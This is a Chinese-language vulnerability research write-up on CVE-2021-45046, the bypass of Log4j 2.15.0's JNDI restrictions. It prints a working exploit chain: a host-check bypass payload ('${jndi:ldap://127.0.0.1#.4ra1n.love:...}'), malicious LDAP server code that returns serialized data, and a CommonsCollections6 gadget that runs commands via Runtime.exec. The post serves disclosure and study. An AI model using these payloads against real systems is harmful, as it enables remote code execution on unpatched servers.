在CVE-2021-45046发布2天后,和官方对线成功,将我名字4ra1n加入了credit中
在第3天在官方安全 页面 发现该漏洞从DoS升级到RCE并提高到9分
经过两天的分析和调试,我在Windows上复现失败,但在MacOS上确实可以成功
(由于家境贫寒买不起Mac所以拜托了天下大木头师傅协助,成功RCE)

首先说明一个很多人都在关心的问题:只要不开lookup就不存在漏洞
在2.15.0版本中,无论DoS还是RCE都需要开启lookup功能,如果没有特殊配置且不使用ThreadContext等功能的情况下,是不存在漏洞的。但为了进一步的安全最好升级到最新版(目前是2.17.0版本)
回顾核心方法,也是本文重点
public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { // 限制协议必须为LDAP/LDAPS/JAVA if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { // 如果是LDAP或LDAPS情况限制Host为localhost if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } // 尝试从LDAP Server获取相关的信息 Attributes attributes = this.context.getAttributes(name); if (attributes != null) { Map<String, Attribute> attributeMap = new HashMap<>(); NamingEnumeration<? extends Attribute> enumeration = attributes.getAll(); while (enumeration.hasMore()) { Attribute attribute = enumeration.next(); attributeMap.put(attribute.getID(), attribute); } Attribute classNameAttr = attributeMap.get(CLASS_NAME); if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { String className = classNameAttr.get().toString(); // 如果获取到序列化数据则判断类名是否为八大基本类型 if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else { LOGGER.warn("No class name provided for {}", name); return null; } // 不允许加载远程对象和远程工厂 } else if (attributeMap.get(REFERENCE_ADDRESS) != null || attributeMap.get(OBJECT_FACTORY) != null) { LOGGER.warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException ex) { LOGGER.warn("Invalid JNDI URI - {}", name); return null; } // 绕过上述限制后才可以调用lookup return (T) this.context.lookup(name);}
2.14.1版本RCE的LDAP Server 这样写,注释写了防御方式。简单分析可以看出,假设真的有手段能够绕过了localhost检测,在当前的LDAP Server中也无法继续加载远程对象
xxxxxxxxxxprotected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException { // className虽然不符合八大基本类型 // 但不存在javaSerializedData属性 // 所以不会进入if (attributeMap.get(SERIALIZED_DATA) != null) e.addAttribute("javaClassName", "test"); String codeBaseStr = this.codebase.toString(); int refPos = codeBaseStr.indexOf('#'); if (refPos > 0) { codeBaseStr = codeBaseStr.substring(0, refPos); } e.addAttribute("javaCodeBase", codeBaseStr); e.addAttribute("objectClass", "javaNamingReference"); // OBJECT_FACTORY验证限制了这一步无法RCE // 假设能够绕过localhost的检测无法处理这一步 e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}
所以需要想出新的方式来触发,而不是继续利用javaFactory属性,这将在后文中写到
尝试一些URI的绕过:如何让URI.getHost获得到127.0.0.1
ldap://127.0.0.1:1389/badClassName这种方式获取到的一定是127.0.0.1。虽然可以绕过检测,但这里的URI放入LDAP中也只能解析到127.0.0.1,没有操作空间。于是想到,能否让URI.getHost合法(locaohost或127.0.0.1)但实际上LDAP Client可能会把输入解析到黑客搭建的LDAP Server的IP呢?
以下内容就是围绕这个思路展开:目标域名是4ra1n.love
参考orange大佬在Black Hat 2017分享的PPT

看到其中的authority的解释,想到能否用@符号做一些事情
xxxxxxxxxxURI uri = new URI("ldap://4ra1n.love@127.0.0.1:1389/badClassName");System.out.println(uri.getHost());// 打印:127.0.0.1可绕过但不可能被解析到4ra1n.love域名
看到PPT中另一处

编写对应的代码测试,发现#号也可以做一些事情
xURI uri1 = new URI("ldap://127.0.0.1#@4ra1n.love:1389/badClassName");System.out.println(uri1.getHost());
URI uri2 = new URI("ldap://127.0.0.1#4ra1n.love:1389/badClassName");System.out.println(uri2.getHost());
URI uri3 = new URI("ldap://127.0.0.1#.4ra1n.love:1389/badClassName");System.out.println(uri3.getHost());// 都会打印:127.0.0.1
外国佬传出的POC如下,与我的猜测不谋而合

参考上方第三种Payload
xxxxxxxxxxldap://127.0.0.1#.4ra1n.love:1389/badClassName
这里的Host为127.0.0.1#.4ra1n.love
如果为4ra1n.love域名开启泛域名解析,那么127.0.0.1#是否会被当成一个子域名,从而访问到真正的目标IP
(泛域名解析方式的绕过是我的一种猜测,感觉最贴近真实,但不确定这是真正的原理)
以上的Payload在Windows中的测试会报错,LDAP Client初始化时候出现相同的异常:UnknownHostException
尝试使用Wireshark抓包发现没有dns相关信息,也就是说这个异常是发请求之前报出的

从this.context.getAttributes(name)一路跟到LDAP Client初始化
xxxxxxxxxxLdapClient(String var1, int var2, String var3, int var4, int var5, OutputStream var6, PoolCallback var7) throws NamingException { // 跟入 this.conn = new Connection(this, var1, var2, var3, var4, var5, var6); this.pcb = var7; this.pooled = var7 != null;}
跟到最底层,发现只是一个普通的Socket方法:其中的var1和var2正是host和port
xxxxxxxxxxprivate Socket createSocket(String var1, int var2, String var3, int var4) throws Exception { ... if (var5 == null) { // socket var5 = new Socket(var1, var2); } ... return var5;}
Socket源码
xxxxxxxxxxpublic Socket(String host, int port) throws UnknownHostException, IOException{ // 如果host不为空会执行new InetSocketAddress(host, port) this(host != null ? new InetSocketAddress(host, port) : new InetSocketAddress(InetAddress.getByName(null), port), (SocketAddress) null, true);}
参考InetSocketAddress类构造方法,找到了抛出异常的根源
xxxxxxxxxxpublic InetSocketAddress(String hostname, int port) { checkHost(hostname); InetAddress addr = null; String host = null; try { // 根源 addr = InetAddress.getByName(hostname); } catch(UnknownHostException e) { host = hostname; } holder = new InetSocketAddressHolder(host, addr, checkPort(port));}
找到底层方法,那么可以尝试造一些Payload测试报错情况
xxxxxxxxxx// 正常通过域名解析到IPSystem.out.println(InetAddress.getByName("4ra1n.love"));// 报错System.out.println(InetAddress.getByName("127.0.0.1#.4ra1n.love"));// 报错System.out.println(InetAddress.getByName("127.0.0.1@4ra1n.love"));
继续从InetAddress.getByName跟下去,会到达一处native方法
xxxxxxxxxxpublic native InetAddress[] lookupAllHostAddr(String hostname) throws UnknownHostException;
由于Wireshark没有抓到DNS相关的包,在这一系列的流程也没有看到处理特殊符号的代码
而国外佬在有#号的情况下能够不报错,所以我猜测是这个native方法的原因,报错的底层是操作系统和JVM决定的
在官方安全页面写着只有在MacOS中才可以RCE,后来经过测试的确只能在MacOS中RCE
xxxxxxxxxxremote code execution has been demonstrated on macOS but no other tested environments.
假设127.0.0.1#.4ra1n.love可以正常拿到IP地址,接下来需要解决RCE的问题
在文章一开始就有分析到,在2.15.0中禁了LDAP的javaFactory属性导致无法加载远程类,那么还能有什么思路呢
回顾0x00核心代码中的一个if分支
xxxxxxxxxx// javaSerializedData属性如果存在if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { String className = classNameAttr.get().toString(); // javaClassName是否为八大基本类型 if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } ... }}
分析下lookup底层的LdapCtx.c_lookup方法
xxxxxxxxxx// 一个全局数组后面会用到static final String[] JAVA_ATTRIBUTES = new String[]{ "objectClass", // JAVA_ATTRIBUTES[0] "javaSerializedData", // JAVA_ATTRIBUTES[1] "javaClassName", // JAVA_ATTRIBUTES[2] "javaFactory", // JAVA_ATTRIBUTES[3] "javaCodeBase", // JAVA_ATTRIBUTES[4] "javaReferenceAddress", // JAVA_ATTRIBUTES[5] "javaClassNames", // JAVA_ATTRIBUTES[6] "javaRemoteLocation" // JAVA_ATTRIBUTES[7]};
其中有这样一句针对javaClassName的校验,但仅仅是非空校验
xxxxxxxxxx// var4是LDAP Server传过来的数据// 如果javaClassName不为空则进入Obj.decodeObjectif (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4);}
跟入decodeObject方法
xxxxxxxxxxstatic Object decodeObject(Attributes var0) throws NamingException { ... try { Attribute var1; // 如果javaSerializedData不为空 if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // 类加载器 ClassLoader var3 = helper.getURLClassLoader(var2); // 跟入 return deserializeObject((byte[])((byte[])var1.get()), var3); } ...}
跟入deserializeObject方法,没有什么限制条件
xxxxxxxxxxprivate static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { try { // var2中保存了序列化数据 ByteArrayInputStream var2 = new ByteArrayInputStream(var0); try { // 得到一个ObjectInputStream Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); Throwable var21 = null; Object var5; try { // 反序列化调用对象的readObject方法 var5 = ((ObjectInputStream)var20).readObject(); } ... } }}
可以看到整个过程中没有对javaClassName和javaSerializedData验证
也就是说核心代码中类名白名单对javaClassName的限制没有用处,可以轻松绕过
然后将javaSerializedData属性设置为gadget的序列化数据,即可在readObject中触发RCE
(其实这个过程正是JDNI绕高版本JDK的一种方式)
上文分析出了一种RCE的方式,但没有真正的实践
在LDAP Server中设置javaClassName为基本类型,然后设置javaSerializedData为Payload
这里的java.lang.String可以绕过类目白名单的检测
xxxxxxxxxxprotected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException { e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaSerializedData", payload); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}
Payload选用了CC6链
xxxxxxxxxxpublic static byte[] getCC6(String cmd) { try { Transformer transformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test"); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformers); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(hashSet); objectOutputStream.close(); byte[] data = outputStream.toByteArray(); outputStream.close(); return data; } catch (Exception e) { e.printStackTrace(); } return null;}
我将写好的LDAP Server部署到远程服务器上(该工具以后分享,最近不太方便)

本地引入Log4j2 2.15.0与CC依赖
xxxxxxxxxx<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
配置开启lookup功能
xxxxxxxxxx<configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%m{lookups}%n"/> </console> </appenders>
<loggers> <root level="error"> <appender-ref ref="CONSOLE-APPENDER"/> </root> </loggers></configuration>
打日志
xxxxxxxxxxpublic static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}");}
由于我的环境是Windows会在处理包含#号的Host时报错,所以在this.context.getAttributes(name);下断点并去掉#号

由于4ra1n.love域名开启了泛域名解析,所以127.0.0.1.4ra1n.love也会解析到对应的IP
成功利用本地的gadget达到RCE的效果

为了验证在MacOS中的结果,我将漏洞环境打包发给了天下大木头师傅
然后在服务端启动MacOS弹计算器的LDAP Server(该工具以后分享,最近不太方便)

木头师傅成功在MacOS上RCE,不需要进行其他修改
